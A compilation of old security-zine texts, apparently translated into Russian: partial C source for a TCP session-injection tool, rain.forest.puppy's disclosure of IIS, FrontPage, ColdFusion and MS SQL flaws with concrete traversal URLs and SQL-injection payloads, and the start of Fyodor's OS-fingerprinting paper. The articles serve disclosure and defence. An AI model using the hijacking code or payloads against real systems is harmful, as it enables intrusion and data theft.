    fw.fw_nsp=1;
    fw.fw_pts[0]=666;
    #endif
    if(setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw))<0)
        perror("setsockopt()"),exit(1);

□signal(SIGTERM,clean_exit);
□signal(SIGINT,clean_exit);
□signal(SIGALRM,time_out);□

□printf("* Entering Capture Loop *\n\n");
□printf("* Commands [1] Dump database\n"

```

```

□          "          [2] Send on connection <n> Ex: 2 1 ls -al\n"
□          "          [3] Exit\n\n");
□sigsetjmp(env,1);
□
□FD_ZERO(&rfd);
□          FD_SET(0, &rfd);
□          tv.tv_sec = 0;
□tv.tv_usec = 0;

□          retval = select(1, &rfd, NULL, NULL, &tv);
□
□if (retval) {
□  retval=read(1,user,sizeof(user));
□  user[retval]=0;
□  switch(user[0]) {
□      case '1':
□          dump_db(conn);
□          break;
□  case '2':
□      i=atoi(&user[2]);
□      if (i > dbsize) {
□          printf("* Invalid connection index) *\n");
□          break;
□      }
□      build_ip(TCP_H,
□          101,
□□ 0,
□          IP_DF,
□          128,
□□ IPPROTO_TCP,
□□ local,
□          htonl(conn[i].src),
□          NULL, 0, pbuf);
□      build_tcp(conn[i].dport,
□□ conn[i].sport,
□□ conn[i].seq,
□          conn[i].ack,
□□ TH_PUSH|TH_ACK, 31000, 0,user+4,strlen(user+4),
□          pbuf + IP_H);

□      do_checksum(pbuf, IPPROTO_TCP, TCP_H+strlen(user+4));
□      setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
□      write_ip(osock, pbuf, TCP_H + IP_H + strlen(user+4));
□          setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));

□      printf("Sent: %s\n",user+4);
□          break;
□      case '3':
□          clean_exit(1);
□          break;
□      default:
□          break;
□      }
□}
□alarm(1);
□
□for(;packet=pcap_next(pd,&ph);) {
□
□      ip_hdr = (struct ip *) (packet + linkoff);
□
□switch(ip_hdr->ip_p) {
□
□case IPPROTO_TCP:
□      tcp_hdr=(struct tcphdr*)((char*)ip_hdr)+(4*ip_hdr->ip_hl));
□      dump_packet(packet,linkoff);
□      #ifdef DEBUGIT
□      if ((ntohl(ip_hdr->ip_src.s_addr) != local) &&
□□ ntohs(tcp_hdr->th_dport)==666) {
□          #else
□      if (ntohl(ip_hdr->ip_src.s_addr) != local) {

```



```

□    #endif
□    newsize=update_db(packet, linkoff, conn);

□    if(newsize>dbsize) {
        printf("New Connect:\n");
        dbsize=newsize;}

□    if (tcp_hdr->th_flags&TH_PUSH || (tcp_hdr->th_flags&TH_SYN &&
□    tcp_hdr->th_flags&TH_ACK)) {
□    datalen=ntohs(ip_hdr->ip_len)-IP_H-TCP_H;
□    if(!datalen) datalen++;

□        seq=ntohl(tcp_hdr->th_ack);
□    ack=ntohl(tcp_hdr->th_seq)+datalen;
□    flags=TH_ACK;
        □    } else if(tcp_hdr->th_flags&TH_SYN) {
□    seq=get_prand(PRu32);
□    ack=ntohl(tcp_hdr->th_seq)+1;
□    flags=TH_SYN|TH_ACK;
□        □    }

□        if(flags) {
            build_ip(TCP_H,
□□□ 101,
□□□ 0,
□□ □ IP_DF,
□        □□ 128,
□□□ IPPROTO_TCP,
□□□ local,
            ip_hdr->ip_src.s_addr,
□□□ NULL, 0, pbuf);
□
□    build_tcp(ntohs(tcp_hdr->th_dport),
□        ntohs(tcp_hdr->th_sport),
□        seq,
            ack,
□□        flags, 31000, 0, NULL, 0, pbuf + IP_H);

□    do_checksum(pbuf, IPPROTO_TCP, TCP_H);
□    setsockopt(sfd,IPPROTO_IP,IP_FW_DELETE_OUT,&fw,sizeof(fw));
        write_ip(osock, pbuf, TCP_H + IP_H);
        setsockopt(sfd,IPPROTO_IP,IP_FW_INSERT_OUT,&fw,sizeof(fw));

□    flags=0; }
□    }
□    break;
□
□case IPPROTO_UDP:
□    dump_packet(packet,linkoff);
□    break;
□default:
□break;
□    }
□    }

}

void
dump_packet( u_char *packet, int linkoff ) {

□struct ip    *ip_hdr;
□struct tcphdr *tcp_hdr;
□struct udphdr *udp_hdr;
□u_char    *d_ptr;
□u_int    i;

□ip_hdr = (struct ip *) (packet + linkoff);
□
□switch (ip_hdr->ip_p) {
□
□case IPPROTO_TCP:

```

```

tcp_hdr=(struct tcphdr*)((char*)ip_hdr)+(4*ip_hdr->ip_hl));
printf("*****\n");
printf("TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n "
"Flags: %c%c%c%c%c Data Len: %d\n",
host_lookup(ip_hdr->ip_src.s_addr,0),
ntohs(tcp_hdr->th_sport),
host_lookup(ip_hdr->ip_dst.s_addr,0),
ntohs(tcp_hdr->th_dport),
ntohl(tcp_hdr->th_seq),
ntohl(tcp_hdr->th_ack),
(tcp_hdr->th_flags & TH_URG) ? 'U' : '-',
(tcp_hdr->th_flags & TH_ACK) ? 'A' : '-',
(tcp_hdr->th_flags & TH_PUSH) ? 'P' : '-',
(tcp_hdr->th_flags & TH_RST) ? 'R' : '-',
(tcp_hdr->th_flags & TH_SYN) ? 'S' : '-',
(tcp_hdr->th_flags & TH_FIN) ? 'F' : '-',
ntohs(ip_hdr->ip_len)-IP_H-TCP_H);

d_ptr=packet+linkoff+TCP_H+IP_H;

for(i=0;i<(ntohs(ip_hdr->ip_len)-IP_H-TCP_H);i++)
if (d_ptr[i]=='\n')
printf("\n");
else if (d_ptr[i]>0x1F && d_ptr[i]<0x7F)
printf("%c",d_ptr[i]);
else
printf (".");

printf("\n");
break;

case IPPROTO_UDP:

udp_hdr=(struct udphdr*)((char*)ip_hdr) + (4 * ip_hdr->ip_hl));
printf("*****\n");
printf("UDP: %s.%d->%s.%d Data Len: %d\n",
host_lookup(ip_hdr->ip_src.s_addr,0),
ntohs(udp_hdr->uh_sport),
host_lookup(ip_hdr->ip_dst.s_addr,0),
ntohs(udp_hdr->uh_dport),
ntohs(ip_hdr->ip_len)-IP_H-UDP_H);

d_ptr=packet+linkoff+UDP_H+IP_H;
for(i=0;i<(ntohs(udp_hdr->uh_ulen)-UDP_H);i++)
if (d_ptr[i]=='\n')
printf("\n");
else if (d_ptr[i]>0x19 && d_ptr[i]<0x7F)
printf("%c",d_ptr[i]);
else
printf (".");

printf("\n");
break;

default:
/* We ignore everything else */
break;
}

void
clean_exit(int val) {

int sfd,p=0;

sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (sfd<0) perror("socket()"),exit(1);
if (setsockopt(sfd,IPPROTO_IP,IP_FW_FLUSH_OUT,&p,sizeof(p))<0)
perror("setsockopt()"),exit(1);

```

```

        exit(0);
    }

void
usage(char *arg) {
    printf("%s: [options]\n"
           "  -i: The interface\n"
    "  -l: Link offset\n"
    "  -s: Your source IP\n\n", arg);
    exit(0);
}

void
dump_db (struct conn *conn) {

    int i;

    for(i=0;conn[i].type;i++)
        if(conn[i].type==IPPROTO_TCP)
            printf("%d: TCP: %s.%d->%s.%d SEQ: %u ACK: %u\n",
                   i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
                   host_lookup(htonl(conn[i].dst),0), conn[i].dport,
                   conn[i].seq,conn[i].ack);
        else if(conn[i].type==IPPROTO_UDP)
            printf("%d: UDP: %s.%d->%s.%d\n",
                   i, host_lookup(htonl(conn[i].src),0),conn[i].sport,
                   host_lookup(htonl(conn[i].dst),0), conn[i].dport);
        else break;

}

int
update_db( u_char *packet, int linkoff, struct conn *conn) {
    struct ip      *ip_hdr;
    struct tcphdr  *tcp_hdr;
    struct udphdr  *udp_hdr;
    int i=0;
    ip_hdr = (struct ip *) (packet + linkoff);

    switch(ip_hdr->ip_p) {

    case IPPROTO_TCP:
        tcp_hdr=(struct tcphdr*) (((char*)ip_hdr)+(4*ip_hdr->ip_hl));

        for(i=0;conn[i].type;i++)
            if(conn[i].type==IPPROTO_TCP)
                if(ip_hdr->ip_src.s_addr==htonl(conn[i].src))
                    if(ip_hdr->ip_dst.s_addr==htonl(conn[i].dst))
                        if(ntohs(tcp_hdr->th_sport)==conn[i].sport)
                            if(ntohs(tcp_hdr->th_dport)==conn[i].dport)
                                break;

        if(conn[i].type) {
            conn[i].seq=ntohl(tcp_hdr->th_ack);
            conn[i].ack=ntohl(tcp_hdr->th_seq); }
        else {
            conn[i].type=IPPROTO_TCP;
            conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
            conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
            conn[i].sport=ntohs(tcp_hdr->th_sport);
            conn[i].dport=ntohs(tcp_hdr->th_dport);
            conn[i].seq=ntohl(tcp_hdr->th_ack);
            conn[i].ack=ntohl(tcp_hdr->th_seq); }

        break;

    case IPPROTO_UDP:

```

```

□udp_hdr=(struct udphdr*)((char*)ip_hdr)+(4*ip_hdr->ip_hl));

□for(i=0;conn[i].type;i++)
    if(conn[i].type==IPPROTO_TCP)
□    if(ntohl(ip_hdr->ip_src.s_addr)==conn[i].src)
        □    if(ntohl(ip_hdr->ip_dst.s_addr)==conn[i].dst)
□        if(ntohs(udp_hdr->uh_sport)==conn[i].sport)
□        if(ntohs(udp_hdr->uh_dport)==conn[i].dport) break;

□if(!conn[i].type) {
□    conn[i].type=IPPROTO_UDP;
□    conn[i].src=ntohl(ip_hdr->ip_src.s_addr);
□    conn[i].dst=ntohl(ip_hdr->ip_dst.s_addr);
□    conn[i].sport=ntohs(udp_hdr->uh_sport);
□    conn[i].dport=ntohs(udp_hdr->uh_dport); }

□break;
□default:
□/* We Don't care */
□break;
    }
    return i;

}

void
time_out(int blank) {
alarm(0);
siglongjmp(env,1);
}

/* EOF */

```

---

— EOF —

# Уязвимости веб-технологий NT

**Автор:** rain.forest.puppy / [WT]

*Примечание: большинство уязвимостей, описанных в этом документе, ранее не публиковались; они были обнаружены rain.forest.puppy или другими участниками WT. В последнее время в Интернете появилось много новых игрушек. Кажется, что веб — это то, куда всё движется, и каждый поставщик программного обеспечения стремится сделать свои продукты «веб-ориентированными». Многие изобретают колесо заново, комплектуя свои решения некачественными веб-серверами для отдачи HTML и Java-интерфейсов.*

Но эта статья не о них. Их слишком много, и их слишком легко использовать в качестве уязвимых целей. Гораздо интереснее найти иголку в стоге сена, поэтому я сосредоточусь на нескольких более распространённых конфигурациях. Начнём.

## IIS 4.0

IIS — неплохой веб-сервер. Он всё ещё не дотягивает до Apache, но обладает гибкими возможностями скриптинга и серверной обработки. Однако, разумеется, за всё приходится платить...

Одна интересная проблема (и, пожалуй, единственная, которая могла быть опубликована ранее на момент написания этой статьи) состоит в том, что добавление расширения «.idc» к концу URL заставляет IIS пытаться выполнить так называемый .IDC через .DLL коннектора базы данных. Если .IDC не существует, сервер возвращает весьма информативную страницу, сообщающую, что не может открыть %documentroot%\..idc. Например:

```
"Cannot open c:\inetpub\wwwroot\index.html.idc"
```

Вот это да — абсолютные пути на сервере. Весьма интересно. Какая от этого польза? Что ж, это даёт некоторое понимание и подсказки. Если вы пытаетесь эксплуатировать CGI или другие серверные программы, знание того, на каком диске вы находитесь при попытке вслепую обратиться к внешним документам, очень помогает. Например, если IDC-запрос вернул:

```
f:\webs\1\index.html.idc
```

то вы знаете, что для доступа к системным файлам Windows NT, скорее всего, придётся указывать `с:`; вы не можете делать глупости вроде:

```
../../../../winnt/system/repair/sam._
```

поскольку используется относительная адресация, и вы остаётесь на диске F. Ещё один распространённый ответ выглядит примерно так:

```
"Cannot open d:\20x.140.3x.25\index.html.idc"
```

Здесь IP-адрес является полным адресом веб-сервера. Обычно это указывает на то, что сайт находится в системе, которая, вероятно, обслуживает несколько веб-сайтов.

Также, как правило, сайт, расположенный в \inetpub\wwwroot, является «основным» сайтом и может содержать другие связанные с ним материалы (например, примеры файлов и т. д. — мы вернёмся к этому позже). Это важно запомнить.

## FrontPage Webbots

Краткое описание принципа работы вебботов: FrontPage вставляет в HTML-код комментарии, задающие параметры веббота. Затем форма отправляется в `/_vti_bin/shtml.dll`, при этом передаётся URL страницы. `shtml.dll` читает указанную страницу и интерпретирует код вебботов/HTML-комментариев.

Таким образом, все параметры, участвующие в работе большинства вебботов, встроены непосредственно в HTML-страницу. Рассмотрим пример с корпоративного сайта, производящего очень популярный FTP-клиент (это HTML-код):

```
<!--webbot BOT="GeneratedScript" endspan -->
<form method="POST" action="../_vti_bin/shtml.dll/downloads/ftp.html"
name="FrontPage_Form1" webbot-action="--WEBBOT-SELF--">
<!--webbot bot="SaveResults"
u-file="d:\us\product_downloads\download_log.csv"
s-format="TEXT/CSV" s-label-fields="FALSE" s-builtin-fields="Date Time"
s-form-fields u-confirmation-url="../_confirmations/ftp.html"
startspan -->
```

Обратите внимание, что этот сайт сохраняет результаты в файл (и тот факт, что путь начинается с `d:\...`, говорит о том, что это Windows-сервер). Но более важная деталь — поле `u-confirmation-url`. На этой странице расположена большая форма для заполнения. При её отправке введённые данные сохраняются в `u-file`, а пользователь перенаправляется на `u-confirmation-url`. Не хочется раскрывать личную информацию? Просто перейдите напрямую по `u-confirmation-url`. В данном случае это была страница регистрации для загрузки пробной версии. Поскольку мне надоело каждый раз заполнять свои данные, я теперь просто перехожу на URL подтверждения и скачиваю всё что нужно, минуя форму.

К слову, если `bot="SaveResults"` и `u-file` указывает на путь в структуре сайта (что нередко встречается на аккаунтах с виртуальным хостингом), вы можете просматривать содержимое этого файла. Например:

```
<!--webbot bot="SaveResults"
u-file="/_private/download.log"
s-format="TEXT/TEXT" s-form-fields startspan -->
```

означает, что можно перейти по адресу `http://site/_private/download.log` и просмотреть всю информацию, введённую другими пользователями.

## IIS 3.0 до IIS 4.0

Между IIS 3.0 и IIS 4.0 есть несколько изменений. Конечно, MMC важна, но есть кое-что ещё интереснее: в системе появились ассоциации по умолчанию между определёнными расширениями файлов и .DLL. Рассмотрим конкретный пример...

В IIS 3.0 администрирование сайта осуществлялось через `http://site/iisadmin/`, что переадресовывало к `/scripts/iisadmin/ism.dll` и пропускало различные .HTR-файлы из этого каталога через себя. Файлы .HTR практически бесполезны без `ism.dll` для их обработки, а в `ism.dll` встроена жёсткая аутентификация.

Теперь представьте, что вы обновились с IIS 3.0 до 4.0. Администрирование сайта теперь производится через `http://localhost:5416/`. А как же все эти .HTR-файлы в `/scripts/iisadmin`? Они всё ещё там, если только вы их специально не удалили. В чём проблема? IIS 4.0 ассоциирует все .HTR с новой и улучшенной `ism.dll`, которая не содержит встроенной аутентификации. Теперь при любом запросе .HTR-файла IIS будет охотно его обрабатывать, не беспокоясь об аутентификации. Можете пользоваться .HTR-файлами в `/scripts/iisadmin` как вам угодно. Почти. Ни один из них не работает из-за слишком большого количества изменений. ЗА ИСКЛЮЧЕНИЕМ ОДНОГО: `bdir.htr`. Файл `bdir.htr`, похоже, всё ещё

работоспособен и с удовольствием показывает вам все каталоги на любом диске. Можно перемещаться по всем дискам сервера (включая сетевые подключения), но видны только каталоги (файлы не отображаются). Если интересно, можно указать `bdir.htr`, куда смотреть, следующим образом:

```
/scripts/iisadmin/bdir.htr??<path>
```

например:

```
/scripts/iisadmin/bdir.htr??d:\webs\
```

Я не изучал другие расширения файлов, но IIS теперь охотно обрабатывает ещё с полдюжины (стандартные — `.ASP`, `.IDC`, `.HTR`, — и менее известные — `.HTW`, `.IDQ`, `.IDA`, `.CER` и т. д.).

## Примеры страниц (Sample pages)

Хотя размещение примеров страниц и приложений на публичном сервере — плохая идея, многие всё равно это делают. IIS 4.0 включает довольно большой и обстоятельный демонстрационный сайт «Exploration Air», в котором применяются многие веб-технологии IIS 4.0. Интересная особенность — кнопка «How It Works» в нижней части каждой страницы, которая ведёт к скрипту, преобразующему код страниц в цветные теги. Это проблема.

Скрипт использует `Scripting.FileSystemObject` для запроса страницы. К счастью, он позволяет использовать только виртуальные пути; к сожалению, он допускает использование `../` для выхода в родительские каталоги вплоть до корневого. Это позволяет открывать любой файл на том же диске. Используя описанную выше уязвимость `.IDC` для определения расположения файла, можно выяснить, можно ли добраться до системных файлов WinNT. Кроме того, можно просматривать код любого страничного приложения (`.ASP`, `.CFM`, `.IDC` и т. д.). Например:

```
http://site/iissamples/exair/howitworks/codebrws.asp?source=../../boot.ini
```

может отобразить файл `boot.ini` Windows NT. Скрипт используется на примере сайта ExAir, как показано выше, а также в составе SDK — если он установлен:

```
http://site/iissamples/sdk/asp/docs/codebrws.asp
```

## Cold Fusion app.server 3.1

Cold Fusion — довольно изобретательный язык сценариев; это удобный интерфейс для работы с базами данных через ODBC. Но я бы не упоминал его здесь, если бы у него не было проблем.

Как и с IIS 4.0, в примерах страниц, поставляемых с CF, есть несколько тревожных моментов. Один из них — Expression Evaluator по адресу:

```
http://site/cfdocs/expeval/eval.cfm
```

Там есть проверка безопасности. Она вызывает `check_ip.cfm`, который разрешает доступ только с `127.0.0.1` (localhost). Досадно — мы не можем выполнять произвольный код на сервере. Но давайте проверим:

```
http://site/cfdocs/expeval/exprcalc.cfm
```

Это всё ещё не даёт нам прямой пользы, поскольку для обработки введенных выражений по-прежнему используется `eval.cfm`. Но есть кое-что более интересное: калькулятор выражений позволяет сохранять и загружать файлы выражений для вычисления. И так случилось, что `exprcalc.cfm` — это форма, используемая для ЗАГРУЗКИ файлов. И она позволяет нам загрузить любой файл по нашему желанию. Например:

```
http://site/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini
```

отобразит содержимое `boot.ini` в окне. Совсем как программа `codebrws.asp` в IIS, мы можем использовать это для просмотра любого файла. Однако `exprcalc.cfm` позволяет указывать другие буквы дисков, тогда как `codebrws.asp` ограничен только текущим диском.

## Анонимная почта

Очень просто и быстро:

```
/cfdocs/expeval/sendmail.cfm?MailFrom=&MailTo=&Subject=&Message=
```

позволяет отправлять электронную почту. Строго говоря, это не нарушение безопасности, но и приятным назвать нельзя. Необходимо заполнить значения переменных.

## Проблемы прокси

Это интересная проблема, возникающая не только в CF, но и, возможно, в прокси-программах в целом. CF включает приложение «http client» по адресу:

```
/cfdocs/examples/httpclient/mainframeset.cfm
```

которое позволяет ввести URL, и оно отобразит HTML-код в нижнем окне. Предположим, я пытаюсь удалённо администрировать сервер IIS 4.0, на котором работает CF, перейдя по адресу `http://site:5416/`. Я получаю ошибку о том, что доступ разрешён только локально (127.0.0.1). Теперь я перехожу к CF-приложению `http-client` на том же сервере. В качестве URL ввожу `http://localhost:5416`. Получаю нужную страницу в качестве результата. Я фактически обошёл проверку безопасности. Используя GET-команды в CF `http-client` приложении, я могу администрировать сервер.

Теоретически особенно интересно то, что подобные приложения и прокси в целом можно использовать для злоупотребления отношениями доверия и защитой типа «только localhost». Было бы интересно услышать, что другие люди находят в этом направлении. Вот один пример:

Я обращаюсь к файрволу/веб-прокси компании «снаружи». Получаю ошибку «Отказано/Несанкционированный доступ». Затем я делаю запрос через их прокси: `GET http://localhost/` — и теперь получаю «внутреннюю» веб-страницу с инструкциями по правильному использованию прокси для выхода в интернет. Да, здесь есть очевидные проблемы с настройкой (разрешение внешних запросов), но это не суть...

## ODBC и MS SQL Server 6.5

Смена темы. Раз уж мы затронули веб-сервисы и базы данных, продолжим в том же духе. Перейдём к ODBC и MS SQL Server 6.5.

Над этой проблемой я работал вместе с коллегой из WT. Он поступил правильно и сообщил Microsoft, а их ответ был, что ж, уморительным. По их словам, то, что вы сейчас прочитаете, не является проблемой, так что не беспокойтесь о каких-либо мерах.

**В ЧЁМ ПРОБЛЕМА?** MS SQL Server допускает пакетные команды.

**ЧТО ЭТО ЗНАЧИТ?** Я могу написать что-то вроде:

```
SELECT * FROM table WHERE x=1 SELECT * FROM table WHERE y=5
```



Именно так, и это сработает. Будут возвращены два набора записей, каждый из которых содержит результаты соответствующего SELECT.

**ЧТО ЭТО РЕАЛЬНО ОЗНАЧАЕТ?** Люди потенциально могут подцеплять SQL-команды к вашим запросам. Допустим, у вас есть:

```
SELECT * FROM table WHERE x=%%criteria from webpage user%%
```

А что, если %%criteria from webpage user%% равно:

```
SELECT * FROM sysobjects
```

Это превратится в:

```
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects
```

что является корректным SQL и выполнится (оба запроса). Но подождите, есть ещё. Допустим:

```
SELECT * FROM table WHERE x=%%criteria%% AND y=5
```

Если мы используем пример выше, получим:

```
SELECT * FROM table WHERE x=1 SELECT * FROM sysobjects AND y=5
```

что является некорректным SQL и не сработает. Ну, есть индикатор комментария, который указывает MS SQL Server просто игнорировать остаток строки. Если criteria равно "1 SELECT \* FROM sysobjects --", то -- заставляет проигнорировать остаток запроса (AND y=5).

**КАКИЕ МОИ ФАЙЛЫ ЗАТРОНУТЫ?** Проблематичны файлы ASP и IDC. По крайней мере ASP-файлы можно исправить, но с IDC вы в некотором смысле застряли.

**КАК ИМЕННО ЗАТРАГИВАЮТСЯ IDC-ФАЙЛЫ?** Предположим, мы хотим выполнить запрос к базе данных имён и номеров телефонов, где пользователь задаёт имя, а мы возвращаем все совпадающие номера. SQL-запрос вида:

```
SELECT * FROM phonetable WHERE NAME='namewewant'
```

сработает. Однако нам нужно динамически подставлять «namewewant» — имя, которое хочет пользователь. Поэтому, если мы запишем SQL-запрос:

```
SELECT * FROM phonetable WHERE NAME='%name%'
```

и в нашей HTML-форме есть поле ввода с именем name. Если этот .idc называется phone.idc, мы обращаемся к нему так:

```
http://site/phone.idc?name=rfp
```

Сервер подставит «rfp» вместо %name% и выполнит запрос к SQL-серверу: выбрать \* там, где name='rfp'.

Теперь добавим дополнительные команды в строку. Если мы вызовем наш phone.idc вот так:

```
phone.idc?name=rfp select * from table2
```

это приведёт к расширенному SQL-запросу в .idc:

```
SELECT * FROM phonetable WHERE name='rfp select * from table2'
```

Почти то, что нужно, но одинарные кавычки делают всё это критерием выборки. Что если мы введём СОБСТВЕННУЮ одинарную кавычку?

```
phone.idc?name=rfp' select * from table2 --
```

даст:

```
SELECT * FROM phonetable WHERE name='rfp' select * from table2 --'
```

Нам нужно добавить комментарий, чтобы избавиться от замыкающей одинарной кавычки. Но... .idc умные... они будут экранировать одинарную кавычку в две одинарных кавычки, что обозначает кавычку в данных. То есть:

```
phone.idc?name=rfp' command
```

превратится в:

```
SELECT * FROM phonetable WHERE name='rfp'' command'
```

А поскольку два " дают один символ ' в данных, таблица будет запрошена по столбцу, совпадающему с:

```
"rfp' command"
```

Ну и что, если .idc защищаются от этого — зачем тогда вообще об этом говорить? Видите ли, они всё равно уязвимы. Они облажались в том, что тайком вставляют лишнюю одинарную кавычку в SQL-строку. Но... когда вы запрашиваете числовые значения, вы не используете одинарные кавычки; одинарные кавычки только для строк. Итак, предположим, мы хотим использовать нашу базу телефонов, но задаём номер телефона и ищем связанное имя. Также допустим, что номера телефонов хранятся как long int (числовые значения), а не строки, поскольку нам нужна числовая запись для этого примера.

Итак, я хочу узнать, кому принадлежит номер 5551212. Жёстко закодированный SQL-запрос:

```
SELECT * FROM phonetable WHERE phone=5551212
```

И переменная версия (в .idc):

```
SELECT * FROM phonetable WHERE phone=%phonenum%
```

Стоп! Никаких одинарных кавычек, о которых нужно беспокоиться. Теперь просто делаем:

```
phone.idc?phonenum=5551212 select * from table1
```

И это разворачивается в:

```
SELECT * FROM phonetable WHERE phone=5551212 select * from table1
```

## ЕСТЬ ЛИ КАКИЕ-НИБУДЬ .IDC, КОТОРЫЕ КТО-ТО МОГ БЫ ИСПОЛЬЗОВАТЬ ПРОТИВ МЕНЯ?

Рад, что спросили. Файл, включённый в IIS 3.0 в каталоге /scripts/tools, называется ctss.idc, и содержит SQL-запрос вида:

```
CREATE TABLE %table% (...table defs...)
```

Это легко эксплуатировать. Поскольку вы застряли с начальным CREATE TABLE, нужно завершить это как корректную команду. Достаточно указать имя таблицы и простое определение столбца. Затем добавляем нашу команду, а потом -- для игнорирования остатка определения таблицы. Итак:

```
ctss.idc?table=craptable (f int) select * from table1 --
```

Даст нам:

```
CREATE TABLE craptable (f int) select * from table1 -- \  
(...table defs...)
```

(Однако с ctss.idc нужно заранее знать DSN, UID и PWD... так что вы в некотором роде защищены)

**КАК ИМЕННО ЗАТРАГИВАЮТСЯ ASP-ФАЙЛЫ?** Типичный код ADODB выглядит примерно так:

```
<% SQLquery="SELECT * FROM phonetable"  
Set Conn = Server.CreateObject("ADODB.Connection")  
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"  
Set rec = Server.CreateObject("ADODB.RecordSet")  
rec.ActiveConnection=Conn
```

```
rec.Open SQLquery %>
```

По существу, это выполняет `SELECT * FROM phonetable` к DSN `websql` под пользователем `sa` с паролем `pwd` на базе данных `master`. Затем используется форматирование `rec` для вывода результатов в ASP.

Теперь учтём переменные, задаваемые пользователем:

```
<% SQLquery="SELECT * FROM phonetable WHERE name='" & _  
request.querystring("name") & "'" & _  
Set Conn = Server.CreateObject("ADODB.Connection")  
Conn.Open "DSN=websql;UID=sa;PWD=pwd;DATABASE=master"  
Set rec = Server.CreateObject("ADODB.RecordSet")  
rec.ActiveConnection=Conn  
rec.Open SQLquery %>
```

Итак, теперь наша переменная «`name`» вставляется в строку `SQLquery` между двумя ' '. Угадайте что?! ASP не заботится об одинарных кавычках. Он не будет умным, как .IDC, и не добавит лишнюю ' , чтобы превратить символ ' в команде в символ ' в данных. Итак, как выглядит строка `SQLquery`, когда мы вызываем `phone.asp` следующим образом:

```
phone.asp?name=rfp' select * from table1 --
```

`SQLquery` становится:

```
SELECT * FROM phonetable WHERE name='rfp' select * from table1 --'
```

Что работает. Без проблем.

Уверен, что возникают интересные вопросы:

**НО Я НЕ ЗНАЮ ИМЕНИ DSN, ЛОГИНА ИЛИ ПАРОЛЯ!** Они вам и не нужны. Разработчик страницы, содержащей SQL, уже позаботился об этом. Мы подцепляем SQL-команды к команде, которая уже работает (иначе страница/приложение не функционировало бы в штатном режиме!). Если обычная страница может добраться до SQL-сервера через файрвол, VPN и т. д., то и эта команда тоже сможет. Она может — и будет — идти туда, куда идут обычные страницы/SQL.

**НО Я НЕ МОГУ ПРОСМОТРЕТЬ ВТОРОЙ ВОЗВРАЩЁННЫЙ НАБОР ЗАПИСЕЙ!** Да, это проблема в большинстве случаев. Не так много приложений создаётся с расчётом на возврат нескольких наборов записей, поэтому обычно они с этим не справляются. Но позвольте просто сказать, что в SQL есть хранимая процедура, которая позволяет отправлять результаты команды по электронной почте куда угодно... вам не нужно видеть результаты в браузере.

**НО КАКОЙ СМЫСЛ ВЫПОЛНЯТЬ БОЛЬШЕ SQL-КОМАНД?** Мой друг, мой друг. Думайте шире. Думайте лучше. Думайте о хранимых процедурах. Я не буду включать примеры эксплойтов, потому что это не является целью данной статьи. Цель — просто показать, что проблема существует.

**НО ЧТО, ЕСЛИ У НИХ СЛОЖНЫЕ SQL-КОМАНДЫ?** Да, это может быть непросто, но всё равно возможно. Думайте об этом как о написании переполнения буфера. ;-) Если у нас есть:

```
SELECT * FROM table WHERE ((x=%criteria) AND (y=5))
```

то нам придётся иметь дело со скобками. Но всё равно выполнимо. Цель — закрыть все открытые скобки, открытые до подцепленного SQL-оператора, и использовать `--` (комментарий) для игнорирования всего, что следует после.

**КАК Я МОГУ ЗАЩИТИТЬ СЕБЯ?** Закрывайте в кавычки каждую строку, полученную от веб-пользователя и используемую в SQL-запросе, а также заменяйте одинарные кавычки (') двойными одинарными кавычками (') — это защищает от всего. В случае числовых критериев проверяйте, что возвращённая числовая строка действительно состоит только из цифр. А поскольку в IDC ничего из вышеперечисленного сделать невозможно, переходите на ASP. Запрещайте доступ к расширенным процедурам SQL-сервера. И лучше всего — не используйте

«сырой» SQL в веб-приложениях; вызывайте пользовательские хранимые процедуры на SQL-сервере и передавайте динамические критерии от веб-пользователя в качестве параметров.

Примечание: у нас было время (и ресурсы) для проведения тестирования пакетных SQL-уязвимостей только против MS SQL Server 6.5. Нам было бы интересно узнать от других людей, уязвимы ли также другие платформы БД (Oracle, Informix и т. д.).

## **Заключение**

Ну что ж, на этом пока всё. Каковы выводы из вышесказанного?

- Не используйте примеры файлов/приложений на публичных/производственных серверах.
- Не полагайтесь на защиту типа «только localhost», особенно на прокси.
- Внимательно следите за тем, что именно меняется при обновлении.
- Не предполагайте, что пользовательский ввод безопасен для SQL-запросов.

Короче говоря, используйте голову. До следующего раза, удачи.

rain.forest.puppy / [WT] rfpuppy@iname.com

----[ EOF

# Удалённое определение ОС через анализ стека TCP/IP

**Автор:** Fyodor ([www.insecure.org](http://www.insecure.org)), 18 октября 1998 г.

---

## Аннотация

В статье рассматривается, как извлечь ценную информацию о хосте, опрашивая его стек TCP/IP. Сначала представлены «классические» методы определения ОС хоста, не связанные с анализом стека. Затем описывается актуальный «уровень техники» в инструментах анализа стека. Далее следует описание многочисленных техник, позволяющих вынудить удалённый хост раскрыть информацию о себе. В заключение подробно описывается реализация этих методов в nmap и приводится снимок результатов сканирования популярных интернет-сайтов с указанием используемых ОС.

---

## Зачем это нужно

Полагаю, полезность определения ОС вполне очевидна, поэтому этот раздел будет кратким. Один из наиболее наглядных примеров — то, что многие уязвимости зависят от версии ОС. Допустим, вы проводите тест на проникновение и обнаруживаете открытый порт 53. Если это уязвимая версия Bind, у вас будет лишь одна попытка эксплуатации, поскольку неудачная попытка приведёт к краху демона. С хорошим TCP/IP-фингерпринтером вы быстро выясните, что машина работает под управлением «Solaris 2.51» или «Linux 2.0.35», и сможете соответствующим образом подобрать шеллкод.

